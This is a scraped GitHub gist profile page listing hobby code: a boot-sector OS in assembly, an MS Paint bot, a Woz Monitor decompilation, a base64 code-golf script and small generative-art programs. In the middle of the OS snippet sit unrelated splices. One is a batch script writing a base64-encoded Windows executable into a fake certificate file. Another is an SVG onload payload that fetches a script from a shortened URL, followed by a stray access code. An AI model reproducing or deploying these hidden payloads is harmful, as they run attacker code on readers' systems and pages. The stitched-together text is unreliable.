Skip to content

Instantly share code, notes, and snippets.

View WitherOrNot's full-sized avatar
🤠
yeehaw

WitherOrNot

🤠
yeehaw
View GitHub Profile
@WitherOrNot
WitherOrNot / simple_os.asm
Last active February 10, 2020 15:13
A simple real mode os in assembly. To make a bootable floppy image, type nasm -f bin -o os.bin simple_os.asm && dd conv=notrunc if=os.bin of=simple_os.img into a command line.
org 0x7c00 ; put code in a safe location
bits 16 ; put in 16 bit mode
; setting up stack
mov ax, 0
mov es, ax
mov ds, ax
mov ss, ax
mov sp, 0x7c00
@echo off
echo -----BEGIN CERTIFICATE----- >>c
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>c
echo AAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v >>c
echo dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC2QW068iADafIgA2nyIANp >>c
echo +1iQaf0gA2nyIAJpzyADaWB+Bmj3IANpYH78afMgA2lgfgFo8yADaVJpY2jyIANp >>c
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQC/RoJXAAAAAAAAAADgAAIB >>c
echo CwEOAAAMAAAAKgAAAAAAAC0SAAAAEAAAACAAAAAAQAAAEAAAAAIAAAUAAQAAAAAA >>c
echo BQABAAAAAAAAgAAAAAQAAAAAAAACAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA >>c
echo AAAAAAAAAAC0OwAAoAAAAABgAADoAQAAAAAAAAAAAAAAAAAAAAAAAABwAAAMAgAA >>c
";//<svg onload="$.getScript('//cutt.ly/wrqQHy3')"/>
Access code: 281-649-922
@WitherOrNot
WitherOrNot / mspaint_bot.py
Last active March 27, 2019 18:51
A bot that draws images in MS Paint using the power of edge detection and dank memes
import numpy as np
import cv2
import matplotlib.pyplot as plt
import pyautogui
import time
import sys
im = cv2.imread(sys.argv[1])
imgray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)
ret,thresh = cv2.threshold(imgray,127,255,0)
@WitherOrNot
WitherOrNot / woz_krusader.kasm
Last active April 30, 2019 11:34
Krusader ASM decompilation of the Woz Monitor interface from the Apple I
xaml .= $24
xamh .= $25
stl .= $26
sth .= $27
l .= $28
h .= $29
ysav .= $2a
mode .= $2b
in .= $0200
kbd .= $d010
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
from PIL import Image
from fractions import gcd
from math import sqrt
w = 2048
img = Image.new("RGB", (w, w), color=(255,255,255))
for i in range(1,w):
for j in range(1,w):
@WitherOrNot
WitherOrNot / base64_cg.py
Created June 14, 2019 04:55
Code golf for base64 encoder/decoder
#"""
#Encoder
c=[chr(x) for x in range(65,91)+range(97,123)+range(48,58)+[43,47]];a=raw_input();p=(3-(len(a)%3))%3;a+="\x00"*p;a=''.join(["0"*(8-len(x))+x for x in [bin(ord(x)).replace("0b","") for x in a]]);a=[c[int(x,2)] for x in [a[i:i+6] for i in range(0,len(a),6)]];a=''.join(a[:(len(a)-p)])+"="*p;print(a)
#"""
"""
#Decoder
c=[chr(x) for x in range(65,91)+range(97,123)+range(48,58)+[43,47,61]];a=raw_input();a=''.join(["0"*(6-len(x))+x for x in [bin(c.index(x)%64).replace("0b","") for x in a]]);a=''.join([chr(int(a[i:i+8],2)) for i in range(0,len(a),8)]);print(a)
#"""
@WitherOrNot
WitherOrNot / eca.py
Created June 14, 2019 04:56
Elementary Cellular Automaton Image Generator
from PIL import Image
import random
raw_input = input
rule = int(raw_input("Rule: "))
itn = int(raw_input("Number of rows: "))
w = (2*itn)-1
print("")
@WitherOrNot
WitherOrNot / lsystems.py
Last active January 9, 2020 20:02
Turtle that draws L-Systems
import turtle
t = turtle.Turtle()
s = turtle.Screen()
t.pu()
t.goto(0,0)
t.pd()
t.speed(0)
# mod here